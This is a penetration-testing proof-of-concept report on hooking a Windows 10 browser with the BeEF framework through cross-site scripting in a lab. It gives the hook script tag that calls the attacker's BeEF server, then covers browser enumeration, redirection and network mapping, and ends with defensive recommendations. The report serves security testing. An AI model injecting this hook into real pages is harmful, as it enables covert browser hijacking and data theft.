PROOF OF CONCEPT REPORT

BeEF XSS Browser Exploitation Framework

Cross-Site Scripting & Browser Hooking Attack Demonstration

Prepared by: Dhruva Khare

Date: June 01, 2026

Classification: CONFIDENTIAL - For Authorized Use Only

1. Executive Summary

This Proof of Concept (PoC) report documents the successful exploitation of a target Windows 10 browser using the BeEF (Browser Exploitation Framework) XSS framework. The test was conducted in a controlled lab environment on June 01, 2026, by Dhruva Khare, using Parrot OS as the attacker machine.

The objective was to demonstrate how a Cross-Site Scripting (XSS) vector can be leveraged to hook a victim browser, gain persistent control, enumerate system information, and redirect the victim to arbitrary URLs — all without any user-interactive malware installation.

2. Scope & Environment

2.1 Attacker Machine

Operating System	Parrot OS (Linux)
Tool Used	BeEF XSS Framework v0.5.4.0
Attacker IP	192.168.29.183
BeEF Web UI	http://127.0.0.1:3000/ui/panel
Hook URL	http://<IP>:3000/hook.js
Runtime	Ruby (ruby /usr/share/beef-xss/beef)

2.2 Victim Machine

Operating System	Windows 10 (64-bit)
Victim IP	192.168.29.51
Browser	Internet Explorer / Unknown (as detected by BeEF)
GPU	Intel UHD Graphics (ANGLE / Direct3D11)
Memory	16 GB RAM
Screen Resolution	1536 x 864 @ 32-bit color depth
Touch Enabled	No

3. Attack Methodology

3.1 Step 1 — Starting the BeEF Framework

The BeEF XSS Framework was launched on the attacker machine using the following command:

```
$ beef-xss start
```

Upon startup, BeEF displayed a warning that default credentials were in use and prompted for a password change. The service started successfully and the Web UI became accessible at:

```
http://127.0.0.1:3000/ui/panel
```

BeEF reported the hook script URL template as:

```
<script src="http://<IP>:3000/hook.js"></script>
```

3.2 Step 2 — Identifying the Network Configuration

The attacker ran ifconfig to confirm the local network interface and IP address assigned on the LAN:

```
$ ifconfig
```

Key network details observed:

- Interface ens33 assigned IP: 192.168.29.183 / 255.255.255.0
- MAC Address: 00:0c:29:57:9d:b8 (VMware-style, Ethernet)
- Loopback (lo): 127.0.0.1 — used for BeEF local UI access

3.3 Step 3 — Hooking the Victim Browser

The hook script was delivered to the victim browser at 192.168.29.51 via a crafted XSS payload embedded into a target web page. Once the victim's browser loaded the page, the hook.js script established a persistent callback channel to the BeEF C2 server.

The BeEF panel immediately registered the hooked browser under 'Offline Browsers > Unknown > 192.168.29.51'. The browser appeared in the hooked browsers list with identifying icons for Internet Explorer, Windows, and an unknown category.

3.4 Step 4 — Victim Reconnaissance via BeEF Details Tab

After hooking, BeEF automatically enumerated the following client-side details from the victim machine via JavaScript APIs — without any additional exploitation:

hardware.gpu	ANGLE (Intel UHD Graphics 0x0000A78B) Direct3D11 vs_5_0 ps_5_0
hardware.gpu.vendor	Google Inc. (Intel)
hardware.memory	16 GB
hardware.screen.size	1536 x 864
hardware.screen.colordepth	32-bit
hardware.screen.touchenabled	No
host.os.arch	64-bit
host.os.family	Windows
host.os.name	Windows
host.os.version	10
network.ipaddress	192.168.29.51
location.city	Unknown
location.country	Unknown

3.5 Step 5 — Executing Commands on the Hooked Browser

BeEF's Commands tab was used to execute modules against the hooked browser. Two commands were executed during the test session:

Command 1 (2026-06-01 10:31)	Redirect Browser module executed
Command 2 (2026-06-01 10:40)	Additional module executed
Command 1 Result	Redirected to: https://en.wikipedia.org/wiki/YouTube#Social_impact
Module Used	Redirect Browser (orange-rated — works on most browsers)

The Redirect Browser module silently redirected the victim's browser to an attacker-controlled or arbitrary URL. In a real attack, this could be used for:

- Phishing page delivery
- Credential harvesting
- Drive-by malware download pages
- Social engineering landing pages

3.6 Step 6 — Network Topology Enumeration

The Network tab within BeEF provided a visual map of the victim's network reachability. The topology showed:

- Victim host at 192.168.29.51 (Windows 10)
- Connected through gateway 192.0.0.0/8 network segment
- BeEF's Hooked Browser node linked to the above host

This network map is automatically generated by BeEF using JavaScript-based internal network probing, helping an attacker plan lateral movement within the victim's LAN.

4. Impact Assessment

Risk	Severity	Impact
Browser Hijacking	CRITICAL	Full control over victim browser session
Information Disclosure	HIGH	OS, hardware, IP, GPU details exfiltrated silently
Phishing / Redirection	HIGH	Victim redirected to arbitrary malicious pages
Network Reconnaissance	MEDIUM	Internal LAN topology mapped via browser
Session Theft (potential)	CRITICAL	Cookie Jar overflow could capture session tokens
Webcam Access (potential)	HIGH	Webcam HTML5 module available in BeEF

5. Recommendations

To mitigate the attack vectors demonstrated in this PoC, the following countermeasures are recommended:

5.1 Input Validation & Output Encoding

- Implement strict input validation on all web application inputs to prevent XSS injection.
- Apply context-aware output encoding (HTML, JavaScript, URL) before rendering user-supplied data.
- Use a Content Security Policy (CSP) header to restrict external script loading.

5.2 Browser Hardening

- Keep browsers and plugins updated to the latest stable versions.
- Disable execution of scripts from untrusted origins.
- Use browser extensions such as NoScript or uBlock Origin.

5.3 Network Controls

- Deploy Web Application Firewalls (WAF) to detect and block XSS payloads.
- Monitor for unexpected outbound connections from internal hosts to uncommon ports (e.g., 3000).
- Segment internal networks to limit lateral movement post-compromise.

5.4 Security Awareness

- Train users not to click on unknown or suspicious links.
- Conduct regular penetration tests and red team exercises.

6. Conclusion

This PoC successfully demonstrated that the BeEF XSS Framework can be used to hook a victim browser, silently exfiltrate system information, execute arbitrary commands, redirect the victim to attacker-controlled pages, and map the internal network — all through a single JavaScript hook injected via a Cross-Site Scripting vulnerability.

The attack required no elevated privileges on the victim machine and left minimal forensic traces. Organizations should treat XSS vulnerabilities with the same severity as remote code execution, as the demonstrated impact chain clearly shows the potential for significant damage.

All testing was conducted in a controlled, authorized lab environment. No production systems were harmed or accessed without authorization.

Report Prepared by: Dhruva Khare

Date: June 01, 2026

Classification: CONFIDENTIAL — Authorized Penetration Testing Use Only